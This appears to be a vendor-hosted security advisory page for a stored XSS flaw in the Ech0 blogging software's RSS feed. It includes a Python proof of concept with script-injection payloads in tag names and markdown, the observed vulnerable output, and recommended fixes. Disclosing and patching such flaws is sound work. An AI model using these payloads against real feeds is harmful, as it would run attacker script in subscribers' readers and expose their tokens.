Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
MEDIUM severity

GHSA-3v85-fqvh-7rxf Ech0

MEDIUMFix: lin-snow/Ech0@fd320fe

GHSA-3v85-fqvh-7rxf is a medium-severity (CVSS 4.8) Cross-site Scripting (XSS) vulnerability in github.com/lin-snow/Ech0. A fix is available for github.com/lin-snow/Ech0 — see the affected versions and patch details below.

Ech0's RSS feed renders unescaped tag names and raw-HTML markdown, stored XSS against subscribers

Also known asCVE-2026-79663GO-2026-5100
Published
May 7, 2026
Updated
Aug 27, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 19, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-3v85-fqvh-7rxf.

EPSS Exploitation Probability

via FIRST.org ↗
0.1%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs4th percentile — riskier than 4% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-3v85-fqvh-7rxf plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹github.com/lin-snow/Ech0

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The public RSS/Atom feed at /rss renders two attacker-controlled surfaces without HTML escaping. Tag names flow through fmt.Appendf(renderedContent, "<br /><span class=\"tag\">#%s</span>", tag.Name) at internal/service/common/common.go:120, and the Markdown renderer at internal/util/md/md.go does not set the html.SkipHTML flag, so raw HTML blocks in echo content pass through unmodified. The resulting Atom <summary type="html"> is valid XML but contains executable <script> tags after the RSS reader decodes it. RSS subscribers whose readers render HTML (including many self-hosted and desktop clients) execute attacker JavaScript in the reader's origin.

Details

Tag sink at internal/service/common/common.go:120:

if len(msg.Tags) > 0 {
    for _, tag := range msg.Tags {
        renderedContent = fmt.Appendf(renderedContent,
            "<br /><span class=\"tag\">#%s</span>", tag.Name)
    }
}

fmt.Appendf with %s does not HTML-escape. Tag names come from user-supplied EchoUpsertDto.Tags and are persisted after strings.TrimSpace(strings.TrimPrefix(tag.Name, "#")) at internal/service/echo/echo.go:326, which strips a leading # and trims whitespace but does nothing about HTML metacharacters. A tag name of </span><script>document.title='RSS-XSS-HIT'</script><span>x breaks out of the surrounding <span> element and injects executable JavaScript into the RSS summary field.

Markdown sink at internal/util/md/md.go:

htmlFlags := html.CommonFlags | html.Safelink | html.HrefTargetBlank |
             html.NoopenerLinks | html.NoreferrerLinks
// html.SkipHTML is NOT set

The gomarkdown library passes raw HTML through when SkipHTML is not set. MdToHTML([]byte(msg.Content)) at internal/service/common/common.go:102 produces the rendered HTML for the echo body; tag markup is appended to that output at line 120 and the combined byte slice becomes the RSS summary field.

The RSS feed declares <summary type="html">, which per Atom RFC 4287 §3.1.1.3 means the content is HTML encoded as XML. RSS readers that render HTML decode the XML entities and pass the decoded string to an HTML renderer. Any script tag survives this round-trip.

Echo creation requires admin role (internal/service/echo/echo.go:54-56 checks user.IsAdmin). In a single-admin Ech0 instance this is self-attack. In a multi-admin deployment (non-owner admins promoted by the owner), one admin injects XSS into the shared RSS feed consumed by other admins, registered users, and anonymous subscribers.

Prior precedent: GHSA-69hx-63pv-f8f4 (2026-04-09) accepted stored XSS via SVG file upload, with the same "admin creates content" precondition. Cross-subscriber RSS XSS from one admin belongs to the same class.

Proof of Concept

Default install, admin account seeds malicious tag + markdown content, anonymous subscriber fetches /rss and the decoded summary contains executable <script>:

import requests, xml.etree.ElementTree as ET, html
TARGET = "http://localhost:8300"

# Admin creates two echoes: one with a hostile tag name, one with raw-HTML markdown.
owner = requests.post(f"{TARGET}/api/login",
                      json={"username": "owner", "password": "owner-pw"}
                     ).json()["data"]["access_token"]

tag_payload = "</span><script>document.title='RSS-XSS-HIT'</script><span>x"
md_payload = "<script>document.title='MD-XSS-HIT'</script>normal text"

requests.post(f"{TARGET}/api/echos",
              headers={"Authorization": f"Bearer {owner}",
                       "content-type": "application/json"},
              json={"content": "echo with malicious tag",
                    "tags": [tag_payload]})

requests.post(f"{TARGET}/api/echos",
              headers={"Authorization": f"Bearer {owner}",
                       "content-type": "application/json"},
              json={"content": md_payload})

# Anyone fetches /rss anonymously.
feed = requests.get(f"{TARGET}/rss").text
root = ET.fromstring(feed)
ns = {"atom": "http://www.w3.org/2005/Atom"}
for entry in root.findall("atom:entry", ns):
    summary = entry.find("atom:summary", ns)
    decoded = html.unescape(summary.text or "")
    if "<script>" in decoded.lower():
        print(f"  *** EXECUTABLE <script> in decoded summary ***")
        print(f"    raw:     {(summary.text or '')[:200]!r}")
        print(f"    decoded: {decoded[:200]!r}")

Observed on v4.5.6:

*** EXECUTABLE <script> in decoded summary ***
  raw:     "<p><script>document.title=&lsquo;MD-XSS-HIT&rsquo;</script>normal text</p>\n"
  decoded: "<p><script>document.title='MD-XSS-HIT'</script>normal text</p>\n"
*** EXECUTABLE <script> in decoded summary ***
  raw:     '<p>echo with malicious tag</p>\n<br /><span class="tag">#</span><script>document.title=\'RSS-XSS-HIT\'</script><span>x</span>'
  decoded: '<p>echo with malicious tag</p>\n<br /><span class="tag">#</span><script>document.title=\'RSS-XSS-HIT\'</script><span>x</span>'

Two separate <script> tags land in the public RSS feed: one via the tag-name sink, one via the markdown raw-HTML sink. Any RSS reader that decodes type="html" content and renders the HTML (common in self-hosted readers like Tiny Tiny RSS and FreshRSS's default settings, and in several desktop readers) executes the script.

Impact

A non-owner admin with echo-creation rights (or the owner themselves if RSS pushes to subscribers the owner did not hand-pick) injects persistent JavaScript into the public RSS feed. The RSS feed reaches:

  • Anonymous subscribers who follow the blog's RSS URL in their reader.
  • Registered non-admin users who may subscribe to the feed.
  • Other admins on the same instance.

Each subscriber whose reader renders type="html" content runs the attacker's script in the reader's origin. Depending on the reader, the payload:

  • Reads the reader's own UI tokens and exfiltrates them.
  • Makes authenticated requests to other feeds the reader polls (cross-feed data theft).
  • Plants phishing content that looks like a legitimate feed entry.

The class is stored XSS with cross-user reach. Severity compared to GHSA-69hx-63pv-f8f4 (SVG-upload stored XSS, accepted as Medium): reach is similar (anonymous subscribers via a published feed URL), and the admin precondition matches.

Recommended Fix

Two independent fixes, both needed.

Tag names: HTML-escape before interpolation.

for _, tag := range msg.Tags {
    renderedContent = fmt.Appendf(renderedContent,
        "<br /><span class=\"tag\">#%s</span>", html.EscapeString(tag.Name))
}

Markdown: add html.SkipHTML to the renderer flags so raw HTML in echo markdown is stripped.

htmlFlags := html.CommonFlags |
             html.Safelink |
             html.HrefTargetBlank |
             html.NoopenerLinks |
             html.NoreferrerLinks |
             html.SkipHTML

Validate tag names at creation time too. A central validator in EchoService.Create that rejects tags containing <, >, or " removes the attacker payload before it reaches the DB:

for _, name := range newEcho.Tags {
    if strings.ContainsAny(name, "<>\"'&") {
        return errors.New(commonModel.INVALID_TAG_NAME)
    }
}

Found by aisafe.io

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/lin-snow/Ech0all versions1.4.8-0.20260503035519-fd320fe3e902go get github.com/lin-snow/Ech0@v1.4.8-0.20260503035519-fd320fe3e902

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lin-snow/Ech0, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/lin-snow/Ech0 to 1.4.8-0.20260503035519-fd320fe3e902 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3v85-fqvh-7rxf is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-3v85-fqvh-7rxf can be triaged on real exposure rather than presence alone.

Tailored to GHSA-3v85-fqvh-7rxf. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The public RSS/Atom feed at `/rss` renders two attacker-controlled surfaces without HTML escaping. Tag names flow through `fmt.Appendf(renderedContent, "<br /><span class=\"tag\">#%s</span>", tag.Name)` at `internal/service/common/common.go:120`, and the Markdown renderer at `internal/util/md/md.go` does not set the `html.SkipHTML` flag, so raw HTML blocks in echo content pass through unmodified. The resulting Atom `<summary type="html">` is valid XML but contains executable `<script>` tags after the RSS reader decodes it. RSS subscribers whose readers render HTML (including many s
O3 Security · Impact-Aware SCA

Is GHSA-3v85-fqvh-7rxf in your dependencies?

O3 Security finds GHSA-3v85-fqvh-7rxf across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-3v85-fqvh-7rxf: Ech0 XSS (Medium 4.8) | O3 Security